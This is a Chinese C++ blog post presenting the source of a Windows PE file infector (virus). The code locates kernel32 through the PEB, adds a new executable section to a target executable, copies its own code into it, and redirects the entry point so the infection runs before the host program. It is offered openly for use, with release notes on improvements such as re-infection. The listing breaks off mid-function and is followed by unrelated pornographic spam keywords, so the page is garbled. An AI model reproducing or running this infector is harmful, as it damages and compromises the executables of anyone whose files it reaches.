• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            聚星亭

            吾笨笨且懶散兮 急須改之而奮進
            posts - 74, comments - 166, trackbacks - 0, articles - 0
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            說明部分            
            原帖:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html  

            1.改進了 Invoke函數 現在可以支持全局字符串 但是在第3個參數必須指定類型 和 printf中的%s,%d相似 s或S為字符串 

            2.動態獲取Kernel32.dll,LoadLibrary,GetProcAddress地址 

            3.被感染的文件可以再感染

            #include <windows.h>

            #pragma data_seg(
            ".mydat"
            #pragma code_seg(
            ".shell")
            #pragma const_seg(
            ".constdata")
            #pragma comment(linker,
            "/SECTION:.mydat,RWE"
            #pragma comment(linker,
            "/SECTION:.shell,RWE")
            #pragma comment(linker,
            "/SECTION:.constdata,RWE")
            #pragma comment(linker,
            "/MERGE:.mydat=.shell")
            #pragma comment(linker,
            "/MERGE:.constdata=.shell")
            #pragma comment(linker, 
            "/OPT:NOWIN98"
            #pragma comment(linker, 
            "/ENTRY:main")   
            #pragma comment(linker, 
            "/subsystem:windows")


            #define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
            #define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
            #define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax 
            #define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
            #define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
            #define VA_END -2
            #define DOS IMAGE_DOS_HEADER
            #define NT IMAGE_NT_HEADERS
            #define SEC IMAGE_SECTION_HEADER
            #define MZ_FLAG 23117
            #define PE_FLAG 17744
            #define MY_SECTION_NAME_LENGTH 4
            void GetKernellFun();
            void CodeEnd() ;
            int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, );
            typedef HINSTANCE (WINAPI 
            *pLoadLibraryDef)(LPCTSTR);
            typedef DWORD (WINAPI 
            *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
            bool Strcmp(char* szSrc, char* szDes);
            bool InjectPe(char* szInjectFileName, bool);
            DWORD dwOldEntry 
            = 0;
            char szUser32[] = "User32.Dll";
            char szMessageBox[] = "MessageBoxA";
            char szKernel32[] = "Kernel32.Dll";
            char szExitProcess[] = "ExitProcess";
            char szText[] = "真的要運行程序嗎?";
            char szCaption[] = "CIW_BLUE Code";
            char szLoadLibrary[] = "LoadLibraryA";
            char szGetProcAddress[] = "GetProcAddress";
            char szMySectionName[] = ".CIW";
            DWORD dwLoadLibrary 
            = 0;
            DWORD dwGetProcAddress 
            = 0;

            char szInjectFileName[] = "C:\\1.exe";


            int main()
            {
              Recode(A)
              GetKernellFun();
              DWORD dwOldAddr 
            = 0;
              
            char *pInjectFileName = szInjectFileName;
              GetStringOffset(pInjectFileName);
              GetGlobalVar(dwOldEntry, dwOldAddr);
              
              
            if(Invoke("User32""MessageBoxA""nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
              {
                Invoke(szKernel32, szExitProcess, 
            "n"0, VA_END);
              }

              InjectPe(pInjectFileName, 
            0);

              _asm
              { 
                cmp dwOldAddr, 
            0
                jz NotJmp
                jmp dwOldAddr
            NotJmp:
                
              }
              Invoke(szKernel32, szExitProcess, 
            "n"0, VA_END);
              
            return 0;
            }
            int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, )
            {
              Recode(A)
                
            char*pTempFunName = pGlobalDllName;
              GetStringOffset(pGlobalDllName);
              GetStringOffset(pGlobalFunName);
              GetStringOffset(pGlobalAgrFmt);
              
              DWORD dwLoadLib 
            = 0x7c800000;
              DWORD dwGetProcAddr 
            = 0x7c800000;
              
              GetGlobalVar(dwLoadLibrary, dwLoadLib);
              GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
              
              HMODULE hDll 
            = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);
              PROC dwFunAddr 
            = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
              DWORD dwRet 
            = 0, j = 0;
              DWORD dwParam[
            128], dwParamTemp = 0;
              DWORD dwParamLen 
            = 0;
              va_list stVaList;
              
              va_start(stVaList, pGlobalAgrFmt);
              
            while((dwParam[dwParamLen++= va_arg(stVaList,DWORD)) != VA_END);
              dwParamLen 
            -= 2;
              
            while(dwParamLen != -1)
              {
                dwParamTemp 
            = dwParam[dwParamLen];
                
                
            if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
                  GetStringOffset(dwParamTemp);
                
                _asm push dwParamTemp
                  
                  dwParamLen
            --;
              }
              _asm mov  eax, dwFunAddr
                _asm call eax
                _asm mov  dwRet,  eax
                va_end(stVaList);
              
            return dwRet;
            }

            void GetKernellFun()
            {
              Recode(A)
                
                
            char* pLoadLibrary = szLoadLibrary;
              
            char* pGetProcAddress = szGetProcAddress;
              DWORD dwFuncAddr 
            = 0;
              
              GetStringOffset(pLoadLibrary);
              GetStringOffset(pGetProcAddress);
              
              IMAGE_DOS_HEADER
            * stDos;
              IMAGE_NT_HEADERS
            * stNT;
              IMAGE_DATA_DIRECTORY
            * stDatDir = 0;
              IMAGE_EXPORT_DIRECTORY
            * stEPT;
              
              DWORD dwKernelBase 
            = 0;
              _asm
              {
                mov eax,dword ptr fs:[30h]
                  mov eax,dword ptr [eax
            +0Ch]
                  mov esi,dword ptr [eax
            +1Ch]
                  lods dword ptr [esi]
                  mov eax,dword ptr [eax
            +08h]
                  mov dwKernelBase, eax
              }
              
              
            char *pBase = (char*)dwKernelBase;
              stDos 
            = (IMAGE_DOS_HEADER*)dwKernelBase;
              
              stNT 
            = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
              
              stDatDir 
            = &stNT->OptionalHeader.DataDirectory[0];
              
              stEPT 
            = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
              
              DWORD
            * dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
              DWORD
            * dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
              WORD
            * dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
              
              
            for(int i = 0; i < stEPT->NumberOfNames; i++)
              {
                
            if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
                  
            break;
              }
              dwFuncAddr 
            = dwFunAddr[i];
              _asm
              {
                Recode(B)
                  mov  eax, dwFuncAddr
                  add eax, dwKernelBase
                  mov [ebx 
            + dwLoadLibrary], eax
              }
              
              
              
            for(i = 0; i < stEPT->NumberOfNames; i++)
              {
                
            if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
                  
            break;
              }
              dwFuncAddr 
            = dwFunAddr[i];
              _asm
              {
                Recode(C)
                  mov  eax, dwFuncAddr
                  add eax, dwKernelBase
                  mov [ebx 
            + dwGetProcAddress], eax
              }
            }

            bool Strcmp(char* szSrc, char* szDes)
            {
              
            while(*szSrc && *szDes && *szSrc == *szDes)
              {
                szSrc
            ++, szDes++;
              }
              
            return *szSrc - *szDes;
            }


            void Strcpy(char *szDesStr, char *szSrcStr)
            {
              
            while*szSrcStr )
                
            *szDesStr ++ = *szSrcStr ++;
              
            *szDesStr = 0;
            }
            bool IsPeFile(PVOID pPeBase)
            {
              IMAGE_DOS_HEADER
            * stDos = (DOS*)pPeBase;
              IMAGE_NT_HEADERS
            * stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
              
            if(stDos->e_magic != MZ_FLAG)
                
            return false;
              
              
            if(stNT->Signature != PE_FLAG)
                
            return false;
              
              
            return true;
            }

            int Align(int nSize, int n)
            {
              
            if(nSize % n)
                
            return (nSize / n + 1* n;
              
              
            return nSize;
            }

            bool InjectPe(char* szInjectFileName, bool bFlag)
            {
              Recode(A)
              
            char* pMySectionName = szMySectionName;
              DWORD dwCodeSize 
            = (DWORD)CodeEnd - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0, dwOldAddr = 0;
              GetStringOffset(pMySectionName);

              Recode(B)
            GetGlobalAddr(dwOldEntry, dwOldAddr);
              GetKernellFun();
              HANDLE hFile 
            = (HANDLE)Invoke("Kernel32.dll""CreateFileA""snnnnnn", ::szInjectFileName, GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
              HANDLE hMapFile 
            = (HANDLE)Invoke("Kernel32""CreateFileMappingA""nnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
              PVOID pFile 
            = (PVOID)Invoke("Kernel32""MapViewOfFile""nnnnnn", hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
              
            if(!pFile)
                
            return 0;
              
            if(!IsPeFile(pFile))
                
            return 0;
              IMAGE_NT_HEADERS
            * stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
              
              IMAGE_SECTION_HEADER
            * stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
              
              
            for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
                
            if(!Strcmp((char*)stSec[i].Name, pMySectionName))
                  
            return 0;
                
                stSec 
            = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
                IMAGE_SECTION_HEADER
            * stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
                IMAGE_SECTION_HEADER
            * stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
                DWORD dwFileAlign 
            = stNT->OptionalHeader.FileAlignment;
                DWORD dwCodeAlign 
            = stNT->OptionalHeader.SectionAlignment;
                
                stNT
            ->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
                
                Strcpy((
            char*)stNewSec->Name, pMySectionName);
                stNewSec
            ->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
                stNewSec
            ->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
                stNewSec
            ->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
                stNewSec
            ->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
                stNewSec
            ->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
                 
                stNT
            ->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
                stNT
            ->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;
                
                Invoke(
            "Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END); 

                Invoke(
            "Kernel32""WriteFile""nnnnn", hFile, dwOldAddr, stNewSec->Misc.VirtualSize, &dwSize, NULL, VA_END);

                Invoke(
            "Kernel32""SetEndOfFile""n", hFile, VA_END);

                dwOldEntry1 
            = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
                Invoke(
            "Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
                Invoke(
            "Kernel32""WriteFile""nnnnn", hFile, &dwOldEntry1 , 4&dwSize, NULL, VA_END);

                stNT
            ->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)main - (DWORD)&dwOldEntry;
                
                Invoke(
            "Kernel32""FlushViewOfFile""nn", pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END);
                
                Invoke(
            "Kernel32""UnmapViewOfFile""n", pFile, VA_END);
                Invoke(
            "Kernel32""CloseHandle""n", hMapFile, VA_END);
                Invoke(
            "Kernel32""CloseHandle""n", hFile, VA_END); 
                
            return true;
            }   



            void CodeEnd() 
            {

            亚洲国产精品无码久久SM| 亚洲伊人久久大香线蕉苏妲己| 国产精品久久久久久一区二区三区 | 性高朝久久久久久久久久| 国产成人AV综合久久| 国产免费久久久久久无码| 国产精品99久久不卡| 久久99精品久久久久久水蜜桃| 国产午夜精品久久久久九九| 嫩草影院久久国产精品| 9999国产精品欧美久久久久久| 国产成人综合久久久久久| 久久久久综合中文字幕| 久久久久久国产精品美女| 综合久久国产九一剧情麻豆| av国内精品久久久久影院| 99久久综合国产精品二区| 久久涩综合| 蜜臀av性久久久久蜜臀aⅴ| 国产精品岛国久久久久| 久久国产精品波多野结衣AV| 模特私拍国产精品久久| 久久精品国产亚洲av麻豆色欲| 久久国产精品成人免费| 伊人 久久 精品| 国产精品对白刺激久久久| 国产香蕉97碰碰久久人人| 国内精品久久国产| 国产精品免费看久久久| 久久综合久久鬼色| 久久精品国产亚洲AV无码麻豆 | 日韩人妻无码一区二区三区久久99| 一本色道久久88精品综合 | 无码国内精品久久人妻| 久久久久久综合一区中文字幕| 香港aa三级久久三级老师2021国产三级精品三级在 | 久久精品18| 久久国产乱子伦免费精品| 人人狠狠综合久久亚洲| 精品久久一区二区| 日日躁夜夜躁狠狠久久AV|